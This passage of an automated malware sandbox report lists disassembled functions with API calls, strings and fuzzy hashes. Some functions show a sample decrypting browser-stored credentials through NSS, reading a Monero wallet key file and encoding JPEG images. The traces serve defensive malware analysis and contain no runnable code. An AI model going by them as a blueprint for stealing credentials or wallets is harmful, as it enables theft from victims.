Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5210dee5330a339ab7ed268cb5b23fceeb5d8b800889d53d0ea414cc71d2a849
Instruction ID: e3bd672bac3e5f160c638a536528078b23eb6e0aface239824d0d52b535709bd
Opcode Fuzzy Hash: 5210dee5330a339ab7ed268cb5b23fceeb5d8b800889d53d0ea414cc71d2a849
Instruction Fuzzy Hash: 963121B210C604EFE309AF19D845A6EFBF5EF98710F164C2DE2C587610EA349880CB47

Function 00EF9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C8155F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C7EE1A5), ref: 6C815606
LoadLibraryW.KERNEL32(gdi32,?,6C7EE1A5), ref: 6C81560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C815633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C81563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C81566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C81567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C815696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C8156B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C8156CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C8156E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C8156FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C815716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C81572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C815748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C815761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C81577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C815793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C8157A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C8157BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C8157D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C8157EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C8157FF

Strings

GetSystemMetricsForDpi, xrefs: 6C815677
SetWindowPos, xrefs: 6C8156F7
FillRect, xrefs: 6C815729
RegisterClassW, xrefs: 6C8156AC
GetWindowDC, xrefs: 6C815710
gdi32, xrefs: 6C81560A
StretchDIBits, xrefs: 6C8157CC
ShowWindow, xrefs: 6C8156DE
GetDpiForWindow, xrefs: 6C815690
MonitorFromWindow, xrefs: 6C81578D
LoadIconW, xrefs: 6C81575B
DeleteObject, xrefs: 6C8157F9
SetWindowLongPtrW, xrefs: 6C8157B7
AreDpiAwarenessContextsEqual, xrefs: 6C815637
CreateSolidBrush, xrefs: 6C8157E4
ReleaseDC, xrefs: 6C815742
GetThreadDpiAwarenessContext, xrefs: 6C81562D
CreateWindowExW, xrefs: 6C8156C5
user32, xrefs: 6C815601
LoadCursorW, xrefs: 6C815774
EnableNonClientDpiScaling, xrefs: 6C815666
GetMonitorInfoW, xrefs: 6C8157A2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 59cf2c998edfc6b52cd77825108a7c4f574f6c58034f5c72fd978479303c88b4
Instruction ID: a78c5bffa547158fcca422f46a801fff3eb96ce5a1ff3acb082163025f893ec0
Opcode Fuzzy Hash: 59cf2c998edfc6b52cd77825108a7c4f574f6c58034f5c72fd978479303c88b4
Instruction Fuzzy Hash: 025143B16157235FDB316FB98F48A273AF86B5664D7107C35A819D2A41EB78D800CFE0

Function 6C7FCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C7C582D), ref: 6C7FCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C7C582D), ref: 6C7FCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C82FE98,?,?,?,?,?,6C7C582D), ref: 6C7FCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C7C582D), ref: 6C7FCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C7C582D), ref: 6C7FCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C7C582D), ref: 6C7FCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7C582D), ref: 6C7FCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C7FCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C7FCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C7FCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C7FCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C7FCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C7FCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C7FCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C7FCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C7FCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C7FCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C7FCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C7FCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C7FCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C7FCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C7FCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C7FCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C7FCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C7FCE8A

Strings

unregisteredthreads, xrefs: 6C7FCE58
java, xrefs: 6C7FCC37
audiocallbacktracing, xrefs: 6C7FCDD4
power, xrefs: 6C7FCE84
samplingallthreads, xrefs: 6C7FCE2C
processcpu, xrefs: 6C7FCE6E
default, xrefs: 6C7FCC21
cpuallthreads, xrefs: 6C7FCE16
screenshots, xrefs: 6C7FCCD4
markersallthreads, xrefs: 6C7FCE42
seqstyle, xrefs: 6C7FCCE6
fileio, xrefs: 6C7FCC92
mainthreadio, xrefs: 6C7FCC7C
notimerresolutionchange, xrefs: 6C7FCE00
nativeallocations, xrefs: 6C7FCDA8
fileioall, xrefs: 6C7FCCA8
preferencereads, xrefs: 6C7FCD92
leaf, xrefs: 6C7FCC66
stackwalk, xrefs: 6C7FCCF8
nostacksampling, xrefs: 6C7FCD7C
ipcmessages, xrefs: 6C7FCDBE
jsallocations, xrefs: 6C7FCD0E
Unrecognized feature "%s"., xrefs: 6C7FCEA0
noiostacks, xrefs: 6C7FCCBE

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 4358e5d2e35d32dd4db2c06f066f3679c4824b3f5d2de86fc79477ebf25943a6
Instruction ID: bd68b460019d2a07ed643b0312a4655f506431561236dbaa928a3a7461e07488
Opcode Fuzzy Hash: 4358e5d2e35d32dd4db2c06f066f3679c4824b3f5d2de86fc79477ebf25943a6
Instruction Fuzzy Hash: 4A51969190523511FB3430195F9ABFE1448EF5224BF101C3AE929A2F81FB09D24B95F7

Function 6C7C4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7C4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7C44B2,6C83E21C,6C83F7F8), ref: 6C7C473E
Part of subcall function 6C7C4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7C474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C7C44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C7C44D2
InitOnceExecuteOnce.KERNEL32(6C83F80C,6C7BF240,?,?), ref: 6C7C451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C7C455C
LoadLibraryW.KERNEL32(?), ref: 6C7C4592
InitializeCriticalSection.KERNEL32(6C83F770), ref: 6C7C45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C7C45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C7C45BB
InitOnceExecuteOnce.KERNEL32(6C83F818,6C7BF240,?,?), ref: 6C7C4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C7C4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C7C4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C7C466D
VerSetConditionMask.NTDLL ref: 6C7C469F
VerSetConditionMask.NTDLL ref: 6C7C46AB
VerSetConditionMask.NTDLL ref: 6C7C46B2
VerSetConditionMask.NTDLL ref: 6C7C46B9
VerSetConditionMask.NTDLL ref: 6C7C46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C7C46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C7C46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C7C46FD

Strings

kernel32.dll, xrefs: 6C7C44CD
WRusr.dll, xrefs: 6C7C44B5
l, xrefs: 6C7C4578
user32.dll, xrefs: 6C7C4557, 6C7C463F
NativeNtBlockSet_Write, xrefs: 6C7C46F7

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 7c3acd811372d72f2ccee68ea6f8711cb9a02c56338c701efe9d05e1795dd770
Instruction ID: c6e1d76fa13e3635b388bf81bb33744fffdf56e3a3bf98d3a55b499d4696a3a0
Opcode Fuzzy Hash: 7c3acd811372d72f2ccee68ea6f8711cb9a02c56338c701efe9d05e1795dd770
Instruction Fuzzy Hash: 1361E6B0700255AFEB309FA4CE09BA57BB8EF5630CF04ADA8E90C9B641D7749945CBD1

Function 00EEC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00EEC9A5

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0175CA08,00000000,?,00F0144C,00000000,?,?), ref: 00EECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00EECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00EECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00EECAD9
StrStrA.SHLWAPI(?,0175CA50,00F00B52), ref: 00EECAF7
StrStrA.SHLWAPI(00000000,0175CAE0), ref: 00EECB1E
StrStrA.SHLWAPI(?,0175D678,00000000,?,00F01458,00000000,?,00000000,00000000,?,017588C0,00000000,?,00F01454,00000000,?), ref: 00EECCA2
StrStrA.SHLWAPI(00000000,0175D7B8), ref: 00EECCB9

Part of subcall function 00EEC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00EEC871
Part of subcall function 00EEC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00EEC87C
Part of subcall function 00EEC820: PK11_GetInternalKeySlot.NSS3 ref: 00EEC88A
Part of subcall function 00EEC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00EEC8A5
Part of subcall function 00EEC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00EEC8EB
Part of subcall function 00EEC820: PK11_FreeSlot.NSS3(?), ref: 00EEC961

StrStrA.SHLWAPI(?,0175D7B8,00000000,?,00F0145C,00000000,?,00000000,017588A0), ref: 00EECD5A
StrStrA.SHLWAPI(00000000,01758A60), ref: 00EECD71

Part of subcall function 00EEC820: lstrcat.KERNEL32(?,00F00B46), ref: 00EEC943
Part of subcall function 00EEC820: lstrcat.KERNEL32(?,00F00B47), ref: 00EEC957
Part of subcall function 00EEC820: lstrcat.KERNEL32(?,00F00B4E), ref: 00EEC978

lstrlen.KERNEL32(00000000), ref: 00EECE44
CloseHandle.KERNEL32(00000000), ref: 00EECE9C
NSS_Shutdown.NSS3 ref: 00EECEAA

Strings

, xrefs: 00EEC9C6

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 63a92157be11f16152732da3e51bb386426e8868759e79a63e3d45155e099cc1
Instruction ID: 63ea367f0da9c44d0cde39121f2e468bd76a826ee3d49e7ed6011d0d553d4312
Opcode Fuzzy Hash: 63a92157be11f16152732da3e51bb386426e8868759e79a63e3d45155e099cc1
Instruction Fuzzy Hash: 0BE1ECB280014CABDB18EFA0DC95FEE77B8AF54340F045179F20A77195DE706A4ACB65

Function 00EF9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00EF906C

Strings

image/jpeg, xrefs: 00EF9136

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 38d1ef7688be954794be7363f9bed7f5c280c5d3ca662c3ffe361fb4c16c2c90
Instruction ID: bbb50a3eb6f36ac1686bbb2f0060e6a4f1647c80f2a490682ff54e885c0292b6
Opcode Fuzzy Hash: 38d1ef7688be954794be7363f9bed7f5c280c5d3ca662c3ffe361fb4c16c2c90
Instruction Fuzzy Hash: 1A710175910208FBDB28DFE4E889FEDB7B9BF48700F108518F616A7284DB74A945CB60

Function 6C80D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C80D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C80D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C80D52A
GetCurrentThreadId.KERNEL32 ref: 6C80D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C80D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C80D55F
free.MOZGLUE(00000000), ref: 6C80D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C80D5D3
GetCurrentThreadId.KERNEL32 ref: 6C80D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C80D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C80D652
GetCurrentThreadId.KERNEL32 ref: 6C80D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C80D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C80D6A2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: dd7e96cb66919a424d3b06ccea0dbe15eb5a2379863544cc658cde001f7d22c9
Instruction ID: 30e6b8d21a72f0e3c66f88869608ecc3db833693ac561c953c238f461f91836f
Opcode Fuzzy Hash: dd7e96cb66919a424d3b06ccea0dbe15eb5a2379863544cc658cde001f7d22c9
Instruction Fuzzy Hash: B15180B1604705DFC724DF74C888A9ABBF4FF89318F109A2EE85A87751DB30A845CB91

Function 00EF17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00EF17C5
ExitProcess.KERNEL32 ref: 00EF17D1

Strings
